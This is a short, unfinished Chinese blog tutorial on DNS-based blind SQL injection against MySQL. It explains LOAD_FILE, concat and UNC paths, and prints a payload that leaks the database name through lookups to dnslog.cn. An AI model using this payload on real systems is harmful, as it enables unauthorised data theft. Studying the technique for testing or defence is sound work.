MySql注入—DNS注入
MySql注入—DNS注入
1、DNS注入原理
一、DNS注入原理
DNS注入，是通过查询相应DNS解析产生的记录日志来获取想要的数据
对于sql盲注这样的方法常常用到二分法，非常麻烦而且没有回显，要耗费大量的时间精力，
或许，salmap工具可以呢，其实在实测中，因为工具的高访问频率，很有可能会导致网站把我们的ip给封掉，除非挂代理池
先来个 知识扫盲：
1、MySQL 有个属性 secure_file_priv 它有三种状态
secure_file_priv= ，没有任何限制
当secure_file_priv=指定文件夹，只能导出或写入指定文件夹
secure_file_priv=NULL，不允许导入导出
在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。并且无法用sql语句对其进行修改，只能够通过以下方式修改
Windows下：
修改mysql.ini 文件，在[mysqld] 下添加条目: secure_file_priv =
Linux下：
在/etc/my.cnf的[mysqld]下面添加local-infile=0选项
2、MySQL读取文件的函数：LOAD_FILE()
读取文件并返回文件的内容，内容为字符串
使用此函数满足的必要条件：
1）文件必须位于服务器主机上
2）必须指定文件的完整路径
3）有file权限
4）该文件所有字节可读
以上任一条件不满足，则返回NULL
PS：LOAD_FILE默认是关闭的，要开启需在MySQL的配置文件my.ini里添加一句：secure_file_priv= 才能开启此服务，，一些网站开发者为了方便查找主机的资料就把这个开启了
3、concat() 函数
拼接字符串，用传入要拼接的各个字符串用逗号隔开
concat('abc','de','fg') >>> abcdefg
4、UNC路径
我也不知道如何讲，也查找了网上的说法，没看到讲的比较明白的，大概都是 以下的说法，，后面我想想怎么写在加进来，先复制他们的吧
什么是UNC路径？UNC路径就是类似\\softer这样的形式的网络路径
格式：\\servername\sharename，其中servername是服务器名。sharename是共享资源的名称
写的时候把反斜杠改成正斜杠，因为反斜杠有个转义的作用
OK，，
select load_file(concat('//','注入语句','DNS域名'))
这里的DNS域名小白可能不懂，后期我会在添加补充的，今天先写写，不在状态，如果看着不懂或太累 ，可以私信我，我给做详细 解答
DNS域名获取去一个网站 dnslog.cn
获取域名(Get SubDomain)，查看日志(Refresh Record)，这个网站都可以完成
比如我们获取了一个域名：p.dnslog.cn
注入语句可以这么写
load_file(concat('//',(database()),'.p.dnslog.cn/abc'))
这是一个获取当前数据库的语句，那么获取内容在哪显示呢，就是获取域名的网站，点击查看日志(Refresh Record)，，你会在.p.dnslog.cn前看到数据库，
返回的值就是 >>> 当前数据库.p.dnslog.cn
我们是不是可以用其他 注入语句呢，，of course
这是半个博客，抱歉
